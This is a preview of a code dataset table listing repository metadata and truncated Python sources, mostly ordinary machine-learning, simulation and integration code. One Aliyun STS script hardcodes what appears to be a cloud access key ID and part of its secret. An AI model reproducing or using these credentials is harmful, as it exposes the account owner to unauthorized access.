hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1350d32aa830470f2b53c009001d15b8c6bd9cea | 14,639 | py | Python | pkg/suggestion/v1beta1/hyperband/service.py | d-gol/katib | 2c8758b26ffd543e08b70464f8ac7b286f3ca2ea | [
"Apache-2.0"
] | 17 | 2018-04-04T08:44:06.000Z | 2018-04-19T18:02:05.000Z | pkg/suggestion/v1beta1/hyperband/service.py | d-gol/katib | 2c8758b26ffd543e08b70464f8ac7b286f3ca2ea | [
"Apache-2.0"
] | 58 | 2018-04-03T19:05:50.000Z | 2018-04-19T16:14:04.000Z | pkg/suggestion/v1beta1/hyperband/service.py | d-gol/katib | 2c8758b26ffd543e08b70464f8ac7b286f3ca2ea | [
"Apache-2.0"
] | 10 | 2018-04-04T02:06:20.000Z | 2018-04-19T08:53:04.000Z | # Copyright 2022 The Kubeflow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | 41.23662 | 114 | 0.596147 |
b9eea6fde876227a03ec57981bbf9935b649fca6 | 1,756 | py | Python | Packs/AnsibleAlibabaCloud/Integrations/AnsibleAlibabaCloud/AnsibleAlibabaCloud.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/AnsibleAlibabaCloud/Integrations/AnsibleAlibabaCloud/AnsibleAlibabaCloud.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/AnsibleAlibabaCloud/Integrations/AnsibleAlibabaCloud/AnsibleAlibabaCloud.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import traceback
import ssh_agent_setup
import demistomock as demisto # noqa: F401
from CommonServerPython import * # noqa: F401
# Import Generated code
from AnsibleApiModule import * # noqa: E402
host_type = 'local'
# MAIN FUNCTION
def main() -> None:
"""main function, parses params and runs command functi... | 29.266667 | 119 | 0.646355 |
b9ffbcf8cf7325d8ed4beb7c9558e1ddd30edaca | 15,855 | py | Python | model_zoo/ernie-1.0/run_pretrain_trainer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | model_zoo/ernie-1.0/run_pretrain_trainer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | model_zoo/ernie-1.0/run_pretrain_trainer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 35.871041 | 134 | 0.650331 |
bc4d77391838f2a628f879d281b1a34a35b6849a | 2,394 | py | Python | model_zoo/bert/export_model.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | model_zoo/bert/export_model.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | model_zoo/bert/export_model.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 29.555556 | 81 | 0.655806 |
e69794aea2a37bbb86fa10e7c0e7d7b120f9e09e | 9,388 | py | Python | python/oneflow/nn/modules/deconv.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 1 | 2021-09-13T02:34:53.000Z | 2021-09-13T02:34:53.000Z | python/oneflow/nn/modules/deconv.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | null | null | null | python/oneflow/nn/modules/deconv.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 1 | 2021-01-17T03:34:39.000Z | 2021-01-17T03:34:39.000Z | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 39.445378 | 116 | 0.560929 |
53984a39f9fe17134f80694d63728ac09ceff20d | 3,301 | py | Python | official/cv/simclr/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/simclr/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/simclr/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 47.84058 | 120 | 0.73402 |
54f50d3c3e866bb227f47b13319f33e16a1597a8 | 249 | py | Python | etc/db/test_json_access.py | huberthoegl/tsgrain | 405d0ba8b98c2afa950d27294e55cd1e07506db4 | [
"Apache-2.0"
] | 1 | 2021-06-15T08:59:02.000Z | 2021-06-15T08:59:02.000Z | etc/db/test_json_access.py | huberthoegl/tsgrain | 405d0ba8b98c2afa950d27294e55cd1e07506db4 | [
"Apache-2.0"
] | null | null | null | etc/db/test_json_access.py | huberthoegl/tsgrain | 405d0ba8b98c2afa950d27294e55cd1e07506db4 | [
"Apache-2.0"
] | null | null | null | # load a tinydb with json module
import json
fo = open("dbtest.json", "r")
db = json.load(fo)
print(type(db))
print(db['_default']['1']['val'])
print("---")
Ablaufliste = db['Ablaufliste'].items()
for k, db in Ablaufliste:
print(k, db)
| 14.647059 | 39 | 0.62249 |
db4d3b941c079de9d6d2caf332c6153b00ff8dac | 3,499 | py | Python | Chapter10_RNN/lstmKerasStart.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | Chapter10_RNN/lstmKerasStart.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | Chapter10_RNN/lstmKerasStart.py | thisisjako/UdemyTF | ee4102391ed6bd50f764955f732f5740425a9209 | [
"MIT"
] | null | null | null | import random
import numpy as np
import tensorflow as tf
from tensorflow.keras.layers import LSTM
from tensorflow.keras.models import Sequential
np.random.seed(0)
tf.random.set_seed(0)
def sigmoid_fn(x: np.ndarray) -> np.ndarray:
return 1.0 / (1.0 + np.exp(-x))
def tanh_fn(x: np.ndarray) -> n... | 32.398148 | 93 | 0.54387 |
dbab764d1e93f1f66c7e8daf0d4908a18475babe | 4,134 | py | Python | auswertung/dominoes.py | jerluebke/SOWAS | d606bcd6757503257d01381da56602016261f578 | [
"MIT"
] | null | null | null | auswertung/dominoes.py | jerluebke/SOWAS | d606bcd6757503257d01381da56602016261f578 | [
"MIT"
] | null | null | null | auswertung/dominoes.py | jerluebke/SOWAS | d606bcd6757503257d01381da56602016261f578 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Part of the SOWAS Project 2018 at Ruhr-Universtiy considering a chain of
dominoes
This script computes the theoretical asymptotical velocity for a fixed
spacing
From documenting each function was disregarded since this implementation is
a direct translation of the as... | 30.175182 | 87 | 0.577649 |
91c7181415467629639913a2bd17f1fcec3dd0b9 | 116 | py | Python | src/onegov/town6/forms/event.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town6/forms/event.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town6/forms/event.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.org.forms import EventForm as OrgEventForm
class EventForm(OrgEventForm):
on_request_include = []
| 19.333333 | 54 | 0.784483 |
37f20cc7cbabb60d2df53f9eb094828d4145ecfc | 11,028 | py | Python | packages/watchmen-storage-postgresql/src/watchmen_storage_postgresql/table_defs_postgresql.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-storage-postgresql/src/watchmen_storage_postgresql/table_defs_postgresql.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-storage-postgresql/src/watchmen_storage_postgresql/table_defs_postgresql.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from datetime import datetime # noqa
from typing import Dict, Optional, Tuple
from sqlalchemy import Integer, String, Table
from watchmen_model.admin import is_aggregation_topic, is_raw_topic, Topic
from watchmen_model.common import TopicId
from watchmen_storage import SNOWFLAKE_WORKER_ID_TABLE, UnexpectedStorageExce... | 37.767123 | 109 | 0.774483 |
53169a838bc60df6f1d3e3ca11618b055b056afd | 503 | py | Python | UAS/UAS 1.py | Archedar/UAS | 3237d9304026340acc93c8f36b358578dc0ae66f | [
"BSD-Source-Code"
] | null | null | null | UAS/UAS 1.py | Archedar/UAS | 3237d9304026340acc93c8f36b358578dc0ae66f | [
"BSD-Source-Code"
] | null | null | null | UAS/UAS 1.py | Archedar/UAS | 3237d9304026340acc93c8f36b358578dc0ae66f | [
"BSD-Source-Code"
] | null | null | null | #Alpro uas no 1
listNama = list()
acc = list()
jumlah = int(input('Jumlah data: '))
for i in range(jumlah):
listNama.append(input(f'Masukan Nama ke-{i + 1}: '))
for nama in listNama:
umpan = 0
for huruf in nama:
if huruf in 'Aa':
umpan += 1
if umpan >= 3:
acc.append(nama)
umpan... | 18.62963 | 68 | 0.600398 |
22f54650f76218478d169e81cd86e03b277161c7 | 971 | py | Python | exercises/pt/exc_01_12_01.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | exercises/pt/exc_01_12_01.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | exercises/pt/exc_01_12_01.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | import spacy
from spacy.matcher import Matcher
nlp = spacy.load("pt_core_news_sm")
matcher = Matcher(nlp.vocab)
doc = nlp(
"Após fazer a atualização do iOS você não irá perceber uma mudança radical "
"na sua interface: nada parecido com a reviravolta estética que foi feita com o iOS 7. A "
"maioria da rou... | 38.84 | 97 | 0.741504 |
4aaae5a5d5ae5586b3cd96e8e7d06cc67d7917ec | 7,679 | py | Python | applications/neural_search/recall/domain_adaptive_pretraining/args.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | applications/neural_search/recall/domain_adaptive_pretraining/args.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | applications/neural_search/recall/domain_adaptive_pretraining/args.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | 65.632479 | 237 | 0.712983 |
43afac7faa79e31306fda900d01089d1e9048338 | 352 | py | Python | python/coursera_python/WESLEYAN/week2/test1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/coursera_python/WESLEYAN/week2/test1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/coursera_python/WESLEYAN/week2/test1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | import random
import math
lst = []
def problem2_4():
""" Make a list of 10 random reals between 30 and 35 """
random.seed(70)
rand_g = random.random()*5
rand_f = rand_g + 1
rand = math.floor(rand_f)
random1 = rand + 30
lst.append(random1)
print(lst)
pass # replace this pass (a do-not... | 23.466667 | 68 | 0.642045 |
6072618dd809f1f96206771746ed5f9caf555a6c | 1,440 | py | Python | test_protocol/utils/feat_concat.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 1,329 | 2021-01-13T07:06:30.000Z | 2022-03-31T07:23:39.000Z | test_protocol/utils/feat_concat.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 115 | 2021-01-13T10:42:57.000Z | 2022-03-28T03:57:52.000Z | test_protocol/utils/feat_concat.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 351 | 2021-01-13T07:21:00.000Z | 2022-03-29T14:11:39.000Z | """
@author: Jun Wang
@date: 20201012
@contact: jun21wangustc@gmail.com
"""
import os
import numpy as np
from math import sqrt
l2_norm = lambda feat: feat / sqrt(feat.dot(feat))
def concat_feat(feat1, feat2):
#feat1 = l2_norm(feat1)
#feat2 = l2_norm(feat2)
feat = np.hstack([feat1, feat2])
return feat... | 36 | 73 | 0.677083 |
60a529b9403614f078da909e27af183cafc89f0a | 3,410 | py | Python | paddlenlp/transformers/bert/faster_tokenizer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | paddlenlp/transformers/bert/faster_tokenizer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | paddlenlp/transformers/bert/faster_tokenizer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Licens... | 39.651163 | 86 | 0.647214 |
e0cf4469902e23b4a7b758436c1471a3111ffe03 | 12,108 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/route/routecompare.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/route/routecompare.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/route/routecompare.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | #!/usr/bin/env python
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2008-2020 German Aerospace Center (DLR) and others.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License 2.0 which is available at
# https://www.ec... | 34.495726 | 98 | 0.552775 |
1cf660056b13fcbbd10c7dacd451f26db9ce9856 | 631 | py | Python | python/primary/sts.py | EstherLacan/jiangfw | a449b1925742873c76dc1b3284aedb359204bc76 | [
"Apache-2.0"
] | 1 | 2020-07-29T16:43:46.000Z | 2020-07-29T16:43:46.000Z | python/primary/sts.py | EstherLacan/jiangfw | a449b1925742873c76dc1b3284aedb359204bc76 | [
"Apache-2.0"
] | null | null | null | python/primary/sts.py | EstherLacan/jiangfw | a449b1925742873c76dc1b3284aedb359204bc76 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore import client
from aliyunsdksts.request.v20150401 import AssumeRoleRequest
# 构建一个 Aliyun Client, 用于发起请求
# 构建Aliyun Client时需要设置AccessKeyId和AccessKeySevcret
# STS是Global Service, API入口位于杭州, 这里Region填写"cn-hangzhou"
clt = client.AcsClient('Foyg239CwfwKh6VQ','gnDXbtD9... | 27.434783 | 89 | 0.819334 |
98df85bbd2574431f28d089b2eb5b1ca56c28048 | 646 | py | Python | 114/Fcat_114_dfs.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null | 114/Fcat_114_dfs.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null | 114/Fcat_114_dfs.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null |
class Solution:
def flatten(self, root) -> None:
"""
Do not return anything, modify root in-place instead.
"""
pre_order_list = []
def dfs(node):
if not node:
return
pre_order_list.append(node)
dfs(node.left)
... | 25.84 | 61 | 0.509288 |
98ed1e6ff5d1533f2b5d29614f37972b43626cd4 | 92 | py | Python | 2014/07/map-pakistan-polio/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 14 | 2015-05-08T13:41:51.000Z | 2021-02-24T12:34:55.000Z | 2014/07/map-pakistan-polio/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | null | null | null | 2014/07/map-pakistan-polio/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 7 | 2015-04-04T04:45:54.000Z | 2021-02-18T11:12:48.000Z | #!/usr/bin/env python
COPY_GOOGLE_DOC_KEY = '1bC6Evo8xhJt7U4_MelVtYS_Q-4uh7XtrMl4ZkbmR6Oo'
| 23 | 68 | 0.836957 |
c76f98f15d845f1c9e1a1e65094ffdde920d63a3 | 1,061 | py | Python | exercises/pt/test_04_11_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/pt/test_04_11_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/pt/test_04_11_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | def test():
assert (
len(TRAINING_DATA) == 3
), "Parece que há algo errado com os dados de treinamento. O esperado são 3 exemplos."
assert all(
len(entry) == 2 and isinstance(entry[1], dict) for entry in TRAINING_DATA
), "Dados do treinamento com formato errado. Esperado uma lista de tup... | 58.944444 | 119 | 0.672008 |
409baf215d854b109ba273e083066c3cc6faa114 | 2,266 | py | Python | Packs/WindowsDefenderAdvancedThreatProtection/Integrations/WindowsDefenderAdvancedThreatProtection/WindowsDefenderAdvancedThreatProtection_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/WindowsDefenderAdvancedThreatProtection/Integrations/WindowsDefenderAdvancedThreatProtection/WindowsDefenderAdvancedThreatProtection_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/WindowsDefenderAdvancedThreatProtection/Integrations/WindowsDefenderAdvancedThreatProtection/WindowsDefenderAdvancedThreatProtection_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
import json
def mock_demisto(mocker):
mocker.patch.object(demisto, 'params', return_value={'proxy': True,
'url': 'https://api.securitycenter.windows.com',
'tenant_id': '1... | 49.26087 | 118 | 0.576346 |
dc0781e8464660cd96805390b5e3941a7913f1e1 | 270 | py | Python | python/python_new/Python 3/sine3.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/python_new/Python 3/sine3.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/python_new/Python 3/sine3.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | import matplotlib.pyplot as plt
import numpy as np
Fs = int(input("Enter Fs:"))
f = int(input("Enter f:"))
sample = int(input("Enter sample:"))
x=np.arange(sample)
y=np.sin(2 * 3.14 * f * x / Fs)
plt.plot(x,y)
plt.xlabel('sample(n)')
plt.ylabel('voltage(V)')
plt.show()
| 22.5 | 36 | 0.655556 |
292efef4d176c07ed25811844bdde4f48dedf88b | 161 | py | Python | etc/reset_datetime.py | huberthoegl/tsgrain | 405d0ba8b98c2afa950d27294e55cd1e07506db4 | [
"Apache-2.0"
] | 1 | 2021-06-15T08:59:02.000Z | 2021-06-15T08:59:02.000Z | etc/reset_datetime.py | huberthoegl/tsgrain | 405d0ba8b98c2afa950d27294e55cd1e07506db4 | [
"Apache-2.0"
] | null | null | null | etc/reset_datetime.py | huberthoegl/tsgrain | 405d0ba8b98c2afa950d27294e55cd1e07506db4 | [
"Apache-2.0"
] | null | null | null | import i2cRtc as RTC
default_time = [0x00,0x42,0x16,0x01,0x03,0x02,0x20] #RTCSetTime(default_time)
RTC.RTCSetTime(default_time)
print("Uhrzeit zurückgesetzt")
| 23 | 77 | 0.801242 |
4679a2831ad0fb1c270f85cb374be9f3bc2e1f58 | 3,424 | py | Python | research/cv/vnet/src/utils.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/vnet/src/utils.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/vnet/src/utils.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 34.24 | 107 | 0.684579 |
d3c9a81d27b09d9b92e5d87dc535b6625f4565c4 | 4,470 | py | Python | examples/seq2seq/run_eval.py | dmlap/transformers | 79588e6fdb5af8add092fc27dd695ea1ebc68b18 | [
"Apache-2.0"
] | 3 | 2020-12-22T07:15:00.000Z | 2021-06-13T17:24:40.000Z | examples/seq2seq/run_eval.py | dmlap/transformers | 79588e6fdb5af8add092fc27dd695ea1ebc68b18 | [
"Apache-2.0"
] | 6 | 2019-12-16T05:27:23.000Z | 2020-10-05T04:48:53.000Z | examples/seq2seq/run_eval.py | dmlap/transformers | 79588e6fdb5af8add092fc27dd695ea1ebc68b18 | [
"Apache-2.0"
] | 1 | 2021-03-22T14:50:59.000Z | 2021-03-22T14:50:59.000Z | import argparse
import json
from pathlib import Path
import torch
from tqdm import tqdm
from transformers import AutoModelForSeq2SeqLM, AutoTokenizer
try:
from .utils import calculate_rouge, use_task_specific_params, calculate_bleu_score, trim_batch
except ImportError:
from utils import calculate_rouge, use... | 37.881356 | 119 | 0.692841 |
9ed21f817ee391473e815d21a9fb8d565c1ebe3d | 2,673 | py | Python | BeautifulData/BeautifulData/utils/pagination.py | zhangyafeii/Flask | 9c9a5ea282f77aabcda838796dad2411af9b519f | [
"MIT"
] | null | null | null | BeautifulData/BeautifulData/utils/pagination.py | zhangyafeii/Flask | 9c9a5ea282f77aabcda838796dad2411af9b519f | [
"MIT"
] | null | null | null | BeautifulData/BeautifulData/utils/pagination.py | zhangyafeii/Flask | 9c9a5ea282f77aabcda838796dad2411af9b519f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
@Datetime: 2019/1/3
@Author: Zhang Yafei
"""
from flask import Markup
class Pagination(object):
def __init__(self,total_count,current_page,per_page_num=10,max_page_num=7):
#数据总个数
self.total_count = total_count
#当前页
try:
v = int(current_page)... | 32.204819 | 97 | 0.545455 |
b45710fc3a93da2853aec4e6e01ca3996739be10 | 82 | py | Python | python/python_backup/PRAC_PYTHON/et.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/python_backup/PRAC_PYTHON/et.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/python_backup/PRAC_PYTHON/et.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | l=input("enter a no")
h=input("enter another no")
p=2*(l+h)
print "perimeter",p | 20.5 | 28 | 0.646341 |
c37f04b4a76dc81606b2697f0b43844dee62f9d2 | 13,979 | py | Python | backend/apps/iamstudent/migrations/0001_initial.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | null | null | null | backend/apps/iamstudent/migrations/0001_initial.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | null | null | null | backend/apps/iamstudent/migrations/0001_initial.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.4 on 2020-03-26 16:07
import apps.iamstudent.models
import datetime
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
initial = True
dependencies = [
('accounts', '0... | 102.786765 | 280 | 0.627012 |
6f70fcb7e01fdc8e74a50c84319c2ab8a026dd3d | 4,462 | py | Python | skripte/python/edit_tools/abgleich_praefixe.py | hyphenation/languages-german | 4330a0b1254e88615cb4c83e4b3dc2f0810c76d9 | [
"MIT"
